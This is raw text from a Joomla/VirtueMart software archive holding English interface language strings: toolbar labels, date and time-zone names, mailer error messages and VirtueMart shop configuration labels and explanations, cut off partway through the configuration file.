JTOOLBAR_UNARCHIVE="Unarchive" JTOOLBAR_UNINSTALL="Uninstall" JTOOLBAR_UNPUBLISH="Unpublish" JTOOLBAR_UPLOAD="Upload" JTOOLBAR_TRASH="Trash" JTOOLBAR_REBUILD_SUCCESS="Successfully rebuilt" JWARNING_PUBLISH_MUST_SELECT="You must select at least one item to publish." JWARNING_ARCHIVE_MUST_SELECT="You must select at least one item to archive." JWARNING_UNPUBLISH_MUST_SELECT="You must select at least one item to unpublish." JWARNING_TRASH_MUST_SELECT="You must select at least one item to remove." JWARNING_DELETE_MUST_SELECT="You must select at least one item to permanently delete." JWARNING_REMOVE_ROOT_USER="You are logged-in using the emergency Root User setting in configuration.php.
      You should remove $root_user from configuration.php as soon as you have restored control to your site to avoid future security breaches.
      Click here to try to do it automatically." ; Date format DATE_FORMAT_LC="l, d F Y" DATE_FORMAT_LC1="l, d F Y" DATE_FORMAT_LC2="l, d F Y H:i" DATE_FORMAT_LC3="d F Y" DATE_FORMAT_LC4="Y-m-d" DATE_FORMAT_JS1="y-m-d" ; Months JANUARY_SHORT="Jan" JANUARY="January" FEBRUARY_SHORT="Feb" FEBRUARY="February" MARCH_SHORT="Mar" MARCH="March" APRIL_SHORT="Apr" APRIL="April" MAY_SHORT="May" MAY="May" JUNE_SHORT="Jun" JUNE="June" JULY_SHORT="Jul" JULY="July" AUGUST_SHORT="Aug" AUGUST="August" SEPTEMBER_SHORT="Sep" SEPTEMBER="September" OCTOBER_SHORT="Oct" OCTOBER="October" NOVEMBER_SHORT="Nov" NOVEMBER="November" DECEMBER_SHORT="Dec" DECEMBER="December" ; Days of the Week SAT="Sat" SATURDAY="Saturday" SUN="Sun" SUNDAY="Sunday" MON="Mon" MONDAY="Monday" TUE="Tue" TUESDAY="Tuesday" WED="Wed" WEDNESDAY="Wednesday" THU="Thu" THURSDAY="Thursday" FRI="Fri" FRIDAY="Friday" ; Time Zones TIME_ZONE="Time Zone" UTC__12_00__INTERNATIONAL_DATE_LINE_WEST="(UTC -12:00) International Date Line West" UTC__11_00__MIDWAY_ISLAND__SAMOA="(UTC -11:00) Midway Island, Samoa" UTC__10_00__HAWAII="(UTC -10:00) Hawaii" UTC__09_30__TAIOHAE__MARQUESAS_ISLANDS="(UTC -09:30) Taiohae, Marquesas Islands" UTC__09_00__ALASKA="(UTC -09:00) Alaska" UTC__08_00__PACIFIC_TIME__US__AMP__CANADA_="(UTC -08:00) Pacific Time (US & Canada)" UTC__07_00__MOUNTAIN_TIME__US__AMP__CANADA_="(UTC -07:00) Mountain Time (US & Canada)" UTC__06_00__CENTRAL_TIME__US__AMP__CANADA___MEXICO_CITY="(UTC -06:00) Central Time (US & Canada), Mexico City" UTC__05_00__EASTERN_TIME__US__AMP__CANADA___BOGOTA__LIMA="(UTC -05:00) Eastern Time (US & Canada), Bogota, Lima" UTC__04_30__VENEZUELA="(UTC -04:30) Venezuela" UTC__04_00__ATLANTIC_TIME__CANADA___CARACAS__LA_PAZ="(UTC -04:00) Atlantic Time (Canada), Caracas, La Paz" UTC__03_30__ST__JOHN_S__NEWFOUNDLAND__LABRADOR="(UTC -03:30) St. John's, Newfoundland and Labrador" UTC__03_00__BRAZIL__BUENOS_AIRES__GEORGETOWN="(UTC -03:00) Brazil, Buenos Aires, Georgetown" UTC__02_00__MID_ATLANTIC="(UTC -02:00) Mid-Atlantic" UTC__01_00__AZORES__CAPE_VERDE_ISLANDS="(UTC -01:00) Azores, Cape Verde Islands" UTC_00_00__WESTERN_EUROPE_TIME__LONDON__LISBON__CASABLANCA="(UTC 00:00) Western Europe Time, London, Lisbon, Casablanca" UTC__01_00__AMSTERDAM__BERLIN__BRUSSELS__COPENHAGEN__MADRID__PARIS="(UTC +01:00) Amsterdam, Berlin, Brussels, Copenhagen, Madrid, Paris" UTC__02_00__ISTANBUL__JERUSALEM__KALININGRAD__SOUTH_AFRICA="(UTC +02:00) Istanbul, Jerusalem, Kaliningrad, South Africa" UTC__03_00__BAGHDAD__RIYADH__MOSCOW__ST__PETERSBURG="(UTC +03:00) Baghdad, Riyadh, Moscow, St. Petersburg" UTC__03_30__TEHRAN="(UTC +03:30) Tehran" UTC__04_00__ABU_DHABI__MUSCAT__BAKU__TBILISI="(UTC +04:00) Abu Dhabi, Muscat, Baku, Tbilisi" UTC__04_30__KABUL="(UTC +04:30) Kabul" UTC__05_00__EKATERINBURG__ISLAMABAD__KARACHI__TASHKENT="(UTC +05:00) Ekaterinburg, Islamabad, Karachi, Tashkent" UTC__05_30__BOMBAY__CALCUTTA__MADRAS__NEW_DELHI__COLOMBO="(UTC +05:30) Mumbai, Calcutta, Madras, New Delhi, Colombo" UTC__05_45__KATHMANDU="(UTC +05:45) Kathmandu" UTC__06_00__ALMATY__DHAKA="(UTC +06:00) Almaty, Dhaka" UTC__06_30__YAGOON="(UTC +06:30) Yagoon" UTC__07_00__BANGKOK__HANOI__JAKARTA__PHNOM_PENH="(UTC +07:00) Bangkok, Hanoi, Jakarta, Phnom Penh" UTC__08_00__BEIJING__PERTH__SINGAPORE__HONG_KONG="(UTC +08:00) Beijing, Perth, Singapore, Hong Kong" UTC__08_00__WESTERN_AUSTRALIA="(UTC +08:00) Western Australia" UTC__09_00__TOKYO__SEOUL__OSAKA__SAPPORO__YAKUTSK="(UTC +09:00) Tokyo, Seoul, Osaka, Sapporo, Yakutsk" UTC__09_30__ADELAIDE__DARWIN__YAKUTSK="(UTC +09:30) Adelaide, Darwin, Yakutsk" UTC__10_00__EASTERN_AUSTRALIA__GUAM__VLADIVOSTOK="(UTC +10:00) Eastern Australia, Guam, Vladivostok" UTC__10_30__LORD_HOWE_ISLAND__AUSTRALIA_="(UTC +10:30) Lord Howe Island (Australia)" UTC__11_00__MAGADAN__SOLOMON_ISLANDS__NEW_CALEDONIA="(UTC +11:00) Magadan, Solomon Islands, New Caledonia" UTC__11_30__NORFOLK_ISLAND="(UTC +11:30) Norfolk Island" UTC__12_00__AUCKLAND__WELLINGTON__FIJI__KAMCHATKA="(UTC +12:00) Auckland, Wellington, Fiji, Kamchatka" UTC__12_45__CHATHAM_ISLAND="(UTC +12:45) Chatham Island" UTC__13_00__TONGA="(UTC +13:00) Tonga" UTC__14_00__KIRIBATI="(UTC +14:00) Kiribati" ; Mailer Codes PHPMAILER_PROVIDE_ADDRESS="You must provide at least one recipient email address." PHPMAILER_MAILER_IS_NOT_SUPPORTED=" Mailer is not supported." PHPMAILER_EXECUTE="Could not execute: " PHPMAILER_INSTANTIATE="Could not instantiate mail function." PHPMAILER_AUTHENTICATE="SMTP Error! Could not authenticate." PHPMAILER_FROM_FAILED="The following from address failed: " PHPMAILER_RECIPIENTS_FAILED="SMTP Error! The following recipients failed: " PHPMAILER_DATA_NOT_ACCEPTED="SMTP Error! Data not accepted." PHPMAILER_CONNECT_HOST="SMTP Error! Could not connect to SMTP host." PHPMAILER_FILE_ACCESS="Could not access file: " PHPMAILER_FILE_OPEN="File Error: Could not open file: " PHPMAILER_ENCODING="Unknown encoding: " PHPMAILER_SIGNING_ERROR="Signing error: " PHPMAILER_SMTP_ERROR="SMTP server error: " PHPMAILER_EMPTY_MESSAGE="Empty message body" PHPMAILER_INVALID_ADDRESS="Invalid address" PHPMAILER_VARIABLE_SET="Cannot set or reset variable: " PHPMAILER_SMTP_CONNECT_FAILED="SMTP connect failed" PHPMAILER_TLS="Could not start TLS" PK@y>\/E.language/en-GB/en-GB.com_virtuemart_config.ininuW+A; VirtueMart Project ; Copyright (C) 2008 VirtueMart, 2009 VirtueMart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; Config COM_VIRTUEMART_ADMIN_CFG_ACCOUNT_ACTIVATION="New account activation necessary?" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP="Display modal popup upon 'Add to cart'" COM_VIRTUEMART_ADMIN_CFG_ADDTOCART_POPUP_EXPLAIN="If checked, you see the modal 'facebox' on adding a product to cart else you are redirect to the cart" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER="Must agree to Terms of Service on EVERY ORDER?" COM_VIRTUEMART_ADMIN_CFG_AGREE_TERMS_ONORDER_EXPLAIN="Check if you want a shopper to agree to your terms of service on EVERY ORDER (before placing the order)." COM_VIRTUEMART_ADMIN_CFG_ALLOW_REGISTRATION="User registration allowed?" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH="General Assets URL" COM_VIRTUEMART_ADMIN_CFG_ASSETS_GENERAL_PATH_EXPLAIN="This is usually the URL to the asset folder in com_virtuemart (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT="Enable Automatic Selected Payment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_PAYMENT_EXPLAIN="When Automatic Selected Payment is enabled, if only one payment method is available, then it is preselected.
      If Automatic Selected Payment is NOT selected, even when there is only one payment method is available, a new page is loaded. It is usefull if the payment method must validate payment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT="Enable Automatic Selected Shipment?" COM_VIRTUEMART_ADMIN_CFG_AUTOMATIC_SHIPMENT_EXPLAIN="When Automatic Selected Shipment is enabled, if only one shipment method is available, then it is preselected.
      If Automatic Selected Shipment is NOT selected, even when there is only one shipment method is available, a new page is loaded. It is usefull if the shipment method must validate shipment data entered by the user." COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW="Default number of categories in a row" COM_VIRTUEMART_ADMIN_CFG_CATEGORIES_PER_ROW_EXPLAIN="This defines the number of categories in a row.
      " COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT="Category Layout" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_LAYOUT_EXPLAIN="This is the default layout for browsing categories." COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE="Category Template" COM_VIRTUEMART_ADMIN_CFG_CATEGORY_TEMPLATE_EXPLAIN="This defines the default category template for displaying products in a category.
      " COM_VIRTUEMART_ADMIN_CFG_CAT_FEED_SETTINGS="Category Feed Settings" COM_VIRTUEMART_ADMIN_CFG_CHECKOUTTAB="Checkout" COM_VIRTUEMART_ADMIN_CFG_CHECKOUT_SETTINGS="Checkout Settings" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT="Shop date format" COM_VIRTUEMART_ADMIN_CFG_DATEFORMAT_EXPLAIN="The default date format used by the shop. Ex: %m/%d/%y." COM_VIRTUEMART_ADMIN_CFG_DEBUG="DEBUG?" COM_VIRTUEMART_ADMIN_CFG_DEBUG_EXPLAIN="Turns on the debug output. This causes the DEBUGPAGE to be displayed at the bottom of each page. Very helpful during shop development since it shows the carts contents, form field values, etc." COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS="Client IP address" COM_VIRTUEMART_ADMIN_CFG_DEBUG_IP_ADDRESS_EXPLAIN="If you enable this option and enter an IP address here, then debug output will be enabled ONLY for this client IP address. Other clients will not see the debugging output." COM_VIRTUEMART_ADMIN_CFG_DOWNLOADABLETAB="Downloads" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT="Download Path" COM_VIRTUEMART_ADMIN_CFG_DOWNLOADROOT_EXPLAIN="The physical path to the files for the shopper download. (trailing slash at the end!)
      " COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE="Download Expire" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_EXPIRE_EXPLAIN="Sets the time range in seconds in which the download is enabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL="Keep Product Stock Level on Purchase?" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_KEEP_STOCKLEVEL_TIP="When enabled, the stock level for a downloadable product is not lowered although it was purchased by shoppers." COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX="Download Maximum" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_MAX_EXPLAIN="Sets the number of downloads which can be made with one Download-ID, (for one order)" COM_VIRTUEMART_ADMIN_CFG_DOWNLOAD_SETTINGS="Download Settings" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING="Enable Dynamic Thumbnail Resizing?" COM_VIRTUEMART_ADMIN_CFG_DYNAMIC_THUMBNAIL_RESIZING_TIP="If checked, you enable dynamic Image Resizing. This means that all Thumbnail Images are resized to fit the Sizes you provide below" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN="Enable Joomla Plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_CONTENT_PLUGIN_EXPLAIN="Enable Joomla content Plugin for the Product description. Should not be checked if you don't use Joomla content plugin" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG="Enable debugging messages" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ADMIN="Only for administrators" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_ALL="For all" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_EXPLAIN="Select to who the debug message are reported" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DEBUG_NONE="No debug" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS="Enable Downloads" COM_VIRTUEMART_ADMIN_CFG_ENABLE_DOWNLOADS_EXPLAIN="Check to enable the download capability. Only if you want to sell downloadable goods." COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH="Use english as fallback for untranslated strings" COM_VIRTUEMART_ADMIN_CFG_ENABLE_ENGLISH_EXPLAIN="Load the english language file, to avoid untranslated strings to be displayed as keys" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY="Use external google jQuery library" COM_VIRTUEMART_ADMIN_CFG_ENABLE_GOOGLE_JQUERY_TIP="Using the external google library improves page speed" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX="Enable Multivendor (experimental only for developers)" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_ADMIN="administrated multivendor" COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_EXPLAIN="Enable this function only, when you can code php and know what to do, this is just an option to enable multivendor for customisation." COM_VIRTUEMART_ADMIN_CFG_ENABLE_MULTIX_NONE="none" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES="Create and send pdf invoices" COM_VIRTUEMART_ADMIN_CFG_ENABLE_PDF_INVOICES_EXPLAIN="For this feature it is important that you set your safe path correctly" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE="ERRORPAGE" COM_VIRTUEMART_ADMIN_CFG_ERRORPAGE_EXPLAIN="This is the default page for displaying error messages." COM_VIRTUEMART_ADMIN_CFG_EXPLAIN="Be aware that a session cache is active for the configuration and has a life time of 500 minutes. Your changes take up to 5 minutes to affect all sessions, including your session. To generate a new session, just logout, and login again." COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS="Rows for featured products" COM_VIRTUEMART_ADMIN_CFG_FEAT_PROD_ROWS_EXPL="This defines the number of rows for featured products." COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE="Type of Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_DESCRIPTION_TYPE_TIP="Choose the type of product description that will be included with the feed." COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE="Enable Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the products of all certain categories in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE="Enable Featured Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Featured products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB="Number of featured products" COM_VIRTUEMART_ADMIN_CFG_FEED_FEATURED_NB_TIP="Number of featured products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE="Enable Latest Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the latest products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB="Number of latest products" COM_VIRTUEMART_ADMIN_CFG_FEED_LATEST_NB_TIP="Number of latest products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FEED_LIMITTEXT="Limit the Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_MAX_TEXT_LENGTH="Maximum Description Length" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC="Include the Product Description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWDESC_TIP="If enabled, the Product Description will be added to the feed item" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES="Include Images into the feed?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWIMAGES_TIP="If enabled, the thumb images will be included with the feed item." COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES="Include the Product Price into the description?" COM_VIRTUEMART_ADMIN_CFG_FEED_SHOWPRICES_TIP="If enabled, the standard Product Price will be added to the Product Description" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE="Enable Top Ten Product Feeds" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_ENABLE_TIP="If enabled, shoppers can subscribe to a feed that provides the Top Ten products in your shop." COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB="Number of topten products" COM_VIRTUEMART_ADMIN_CFG_FEED_TOPTEN_NB_TIP="Number of topten products to send to the feed" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN="Allow Frontend-Administration for non-Backend Users?" COM_VIRTUEMART_ADMIN_CFG_FRONTENDAMDIN_EXPLAIN="With this setting you can enable the Frontend Administration for users who" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS="Using the VirtueMart CSS" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS="Activate Css Styles & Javascripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_JS_SETTINGS_TIP="Inactivate some of this script requires the installation of the replacement script in your template.
      In other case your shop is no longer functional " COM_VIRTUEMART_ADMIN_CFG_FRONT_CSS_TIP="Using the original Virtuemart CSS design" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN="Use jQuery chosen for dropdowns in FE" COM_VIRTUEMART_ADMIN_CFG_FRONT_JCHOSEN_TIP="Usually you can activate this, but some templates may have already their own solution" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE="Using the product Scripts" COM_VIRTUEMART_ADMIN_CFG_FRONT_JPRICE_TIP="These scripts are required for the dynamic operation of the basket and price!
      You loose all the standard inter-activity by turning off the script" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY="Using the VirtueMart jQuery" COM_VIRTUEMART_ADMIN_CFG_FRONT_JQUERY_TIP="To address some issues between VirtueMart and Templates / component / modules, you can disable the jQuery internal library " COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE="Using the Script ajax Countries / Regions" COM_VIRTUEMART_ADMIN_CFG_FRONT_JSITE_TIP="Dynamic update Your country / region will not work without this script.
      Please, verify that this does not affect the operation of your site" COM_VIRTUEMART_ADMIN_CFG_GD_MISSING="Dynamic Image Resizing is not available. The GD library seems to be missing" COM_VIRTUEMART_ADMIN_CFG_HOMEPAGE_SETTINGS="VirtueMart Home Page Settings" COM_VIRTUEMART_ADMIN_CFG_HOME_FEED_SETTINGS="Home Page Feed Settings" COM_VIRTUEMART_ADMIN_CFG_JOOMLA_TEMPLATE_DEFAULT="Use joomla default" COM_VIRTUEMART_ADMIN_CFG_LANGFIX="Language Javascript Fix" COM_VIRTUEMART_ADMIN_CFG_LANGFIX_EXPLAIN="Activate the language Javascript Fix for some Joomla version" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS="Rows for latest" COM_VIRTUEMART_ADMIN_CFG_LAT_PROD_ROWS_EXPL="This defines the number of rows for latest products." COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT="Order-mail format" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_EXPLAIN="This determines how your order confirmation emails are set up" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_HTML="HTML mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FORMAT_TEXT="Text mail" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT="Receive vendor mail with recipient address" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_RECIPIENT_EXPLAIN="Usually the vendor receives the mail from joomla system email address. If you set this, you'll receive the mail coming as recipient address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER="Recipient address set as Sender, not ReplyTo" COM_VIRTUEMART_ADMIN_CFG_MAIL_FROM_SETSENDER_EXPLAIN="If set, the mail address of the recipient is set as Sender. If not, the recipient is set as reply address. Set this option if you're really sure what you do! If in doubt, do not switch on this parameter." COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR="Use the vendor email address" COM_VIRTUEMART_ADMIN_CFG_MAIL_USEVENDOR_EXPLAIN="You can use the vendor email address or the one set in the joomla configuration. This setting depends on your selected mailer." COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT="Layout for your home page" COM_VIRTUEMART_ADMIN_CFG_MAIN_LAYOUT_TIP="This is the default layout for your homepage" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW="Default number of manufacturer in a row" COM_VIRTUEMART_ADMIN_CFG_MANUFACTURER_PER_ROW_EXPLAIN="This defines the number of manufacturer in a row.
      " COM_VIRTUEMART_ADMIN_CFG_MAX_TEXT_LENGTH_TIP="This is the maximum length of the product description for each feed item. If no value is set, the complete description is sent." COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH="Category Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_CATEGORY_PATH_EXPLAIN="URL to the images of the categories (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH="Safe Path" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_EXPLAIN="Path for downloadable goods for sale and your invoices. This path is meant from your file root, not Joomla root. Attention - you must enter an absolute path here and it should (not must) be outside of your domain directory (i.e. httpdocs)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB="Thumbnail url for media to sell" COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH_THUMB_EXPLAIN="The idea is that you can represent your downloadable goods by a self chosen thumbnail, this is usually a normal URL." COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH="Manufacturer Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_MANUFACTURER_PATH_EXPLAIN="URL to the images of the manufacturers" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH="Product Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_PRODUCT_PATH_EXPLAIN="URL to the images of the products (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MEDIA_TITLE="Media Files Settings" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH="Vendor Media URL" COM_VIRTUEMART_ADMIN_CFG_MEDIA_VENDOR_PATH_EXPLAIN="URL to the images of the vendors (relative to joomla root, do not add http or domain)" COM_VIRTUEMART_ADMIN_CFG_MORE_CORE_SETTINGS="Core Settings" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE="Multilingual shop" COM_VIRTUEMART_ADMIN_CFG_MULTILANGUE_EXPLAIN="Activate the multi-language translation system" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND="'no image found' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEFOUND_EXPLAIN="This means that there is no image found at the given path" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE="'no image' image" COM_VIRTUEMART_ADMIN_CFG_NOIMAGEPAGE_EXPLAIN="This image will be shown when no product image is available." COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS="Order Status which disables downloads" COM_VIRTUEMART_ADMIN_CFG_ORDER_DISABLE_DOWNLOADS_EXPLAIN="Sets the order status at which the download is disabled for the shopper." COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS="Order Status which enables download" COM_VIRTUEMART_ADMIN_CFG_ORDER_ENABLE_DOWNLOADS_EXPLAIN="Select the order status at which the shopper is notified about the download via e-mail." COM_VIRTUEMART_ADMIN_CFG_PAGINATION_SEQUENCE="Set the pagination sequence for the List Box" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON="PDF Button" COM_VIRTUEMART_ADMIN_CFG_PDF_BUTTON_EXPLAIN="Show or Hide the PDF - Button in the Shop" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_ADD="Displays 'Notify Me' instead of 'Add To Cart' button" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT="Do not Display Product" COM_VIRTUEMART_ADMIN_CFG_POOS_DISABLE_IT_CHILDREN="Do not Display Product, if child products also out of stock" COM_VIRTUEMART_ADMIN_CFG_POOS_NONE="Products Out of Stock are orderable, no special action" COM_VIRTUEMART_ADMIN_CFG_POOS_RISE_AVATIME="Products Out of Stock are orderable, and the field 'Availability' below is displayed" COM_VIRTUEMART_ADMIN_CFG_PRICES="Show Following Prices" COM_VIRTUEMART_ADMIN_CFG_PRICES_INCLUDE_TAX="Show Prices including tax?" COM_VIRTUEMART_ADMIN_CFG_PRICES_LABEL="Show Price" COM_VIRTUEMART_ADMIN_CFG_PRICES_ROUNDING="Rounding Digits" COM_VIRTUEMART_ADMIN_CFG_PRICES_TEXT="Show Label" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL="Membergroup to show prices to" COM_VIRTUEMART_ADMIN_CFG_PRICE_ACCESS_LEVEL_TIP="The selected membergroup and all groups with higher permissions will be able to see the product prices" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE="Show call for price, when the price is empty" COM_VIRTUEMART_ADMIN_CFG_PRICE_ASKPRICE_TIP="For this function you must enable 'Allow ask questions'. This gives the user the possibility to ask you for a price, when you dont like to publish it" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE="Baseprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_EXPLAIN="Depending on where you do your profit/margin calculation it is either your cost price or your calculated price. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR="New baseprice modified by chosen product variant" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_VAR_EXPLAIN="The baseprice gets modified by the chosen product variant. In the frontend, this price is only displayed to the store administrator." COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX="Baseprice with Tax, but without discounts" COM_VIRTUEMART_ADMIN_CFG_PRICE_BASEPRICE_WTAX_EXPLAIN="useful to show the old price without discount" COM_VIRTUEMART_ADMIN_CFG_PRICE_CONFIGURATION="Price Configuration" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT="Display variant prices with tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_CVARSWT_EXPLAIN="You can display the extra prices of variants (for exmample in the dropdown) with or without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX="Discounted Price without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISCPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT="Discount amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_DISC_AMOUNT_EXPLAIN="Useful for the you save X money" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG="Use for swizz CHF the Rappenrundung" COM_VIRTUEMART_ADMIN_CFG_PRICE_RAPPENRUNDUNG_TIP="only for the swiss, rounds only the display always to 0.00 or 0.05" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG="Round only display" COM_VIRTUEMART_ADMIN_CFG_PRICE_ROUNDINDIG_TIP="We advice to use this option, the rounding is only done on the display, the results are more accurate" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE="Final salesprice" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_EXPLAIN="This is the price the shopper actually has to pay" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD="Salesprice with discount, but without override" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WD_EXPLAIN="This is the same as the salesprice, except you used the product specific override option" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX="Salesprice without tax" COM_VIRTUEMART_ADMIN_CFG_PRICE_SALESPRICE_WOTAX_EXPLAIN="This is interesting for Traders and Merchants (B2B)" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL="Show the price label for packaging?" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_PACKAGING_PRICELABEL_TIP="When checked, the price label is derived from the products unit and packaging values" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX="Show Tax in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_SHOW_TAX_TIP="Display Tax details in Cart" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT="Tax amount" COM_VIRTUEMART_ADMIN_CFG_PRICE_TAX_AMOUNT_EXPLAIN="Shows only the 